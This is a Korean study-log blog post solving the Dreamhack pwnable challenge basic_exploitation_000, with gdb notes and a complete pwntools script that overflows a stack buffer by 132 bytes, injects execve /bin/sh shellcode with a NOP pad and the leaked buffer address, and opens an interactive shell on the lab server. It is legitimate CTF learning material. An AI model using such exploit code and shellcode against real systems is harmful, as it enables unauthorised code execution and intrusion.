학습 기록일지
Dreamhack - basic_exploitation_000 본문
포너블 기초문제 basic exploition 000 풀이
삽질 4일째
실행환경 > 다음에 파이썬 2.x로 실행해보자
- 데비안 64비트
- python 3.9+
- pwntools 4.5.0
파이썬 3.9에선 문자열을 전송할 때 byte로 전송해줘야 한다.
예를들어 \x90 같은 의미없는 값을 넣을때에도...
"", '' 앞에 b를 붙여 b"" 로 사용하면 바이트 객체가된다.
ex) b"\x11\x22\x33\x44\x55" OR "asdf".encode('euc-kr') "asdf".encode('utf-8')
ex2) b"\x90"*120
p32함수는 Int형만 먹는다.
p32("0x12345678") > equired argument is not an integer 에러
p32(0x12345678) > 정상동작 (이게 왜 int형임?)
문제시작
아래는 해당 문제 소스코드이다.
접속하게되면 주소를 보내주며, 몇초 후 종료된다
디버거로 접속
b main
x/100wx $esp
위 스샷에 메인함수의 리턴주소는 0xf7de9e46
scanf에 브포를 걸고 실행
continue
본격적으로 함수가 돌면서 0xffffd0d8이란 주소 출력
A 문자열을 쭉 입력받았을 때 아래 리턴 주소가 보인다.
저 시점에 출력된 주소를 $esp와 비교해본다
따라서 출력되는 주소와 리턴 주소까지의 거리는 약 132byte이고, 출력된 주소를 리턴 주소에 넣어줘서 코드를 작성한다.
구조 : ( SHELL + ("\x90"*(132 - len(SHELL)) + 리턴주소 ) 가 된다.
== 코드 ==
from pwn import * #pwn 임포트
p = remote("host1.dreamhack.games",13228) #nc명령에 따라 remote명령으로 연결. telnet 은 안되네?
str = p.recvuntil("\n") #p가 출력하는 데이터 저장 : \n까지 저장
str1 = str[9:17] # 문자열이 buf = (0x12345678) 이런식으로 들어오는데 0x부분부터 잘라줬다
# type = str
a = int(str1, 16) # type = int
shell = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80" # 셸코드 작성 1�Phn/shh//bi��1�1��@@@��
print("====")
str3 = p32(a) # a가 Int형으로 변환됬었는데 p32로 다시
print(shell+(b"\x90"*(132-len(shell)))+str3)
p.send(shell+(b"\x90"*(132-len(shell)))+str3) # shell코드 + 여백(132) + 리턴주소
p.interactive() # 사용자가 상호작용 가능하게
== 코드 끝 ==
== 결과 ==
shell코드가 틀려서 뻘짓 4일간 진행.
셸코드 작성법 다시공부해야겠다
더 자세한건 USB참고
1)간단한 pwntools 사용법과 셸코드 작성법에 대해서 배웠다.
2)이 문제에 약 5일정도 썼는데 4일간 셸코드문제로 삽질을했다 > 공부하자
>>> 어셈블리 작성 : https://defuse.ca/online-x86-assembler.htm#disassembly
에러1) p32("0x12345678") 할때 나는 에러 > p32(int형)
> required argument is not an integer
에러2) "\x90" > b"\x90" : python3에서 저렇게 사용
> can only concatenate str (not "bytes") to str
'워게임 > 포너블' 카테고리의 다른 글
Dreamhack - Sint (0) | 2021.06.17 |
---|---|
Dreamhack - out_of_bound (0) | 2021.06.14 |
Dreamhack - off_bye_one_000 (0) | 2021.06.10 |
Dreamhack - basic_exploition_003 (0) | 2021.06.07 |
Dreamhack - basic_exploitation_001 (0) | 2021.05.26 |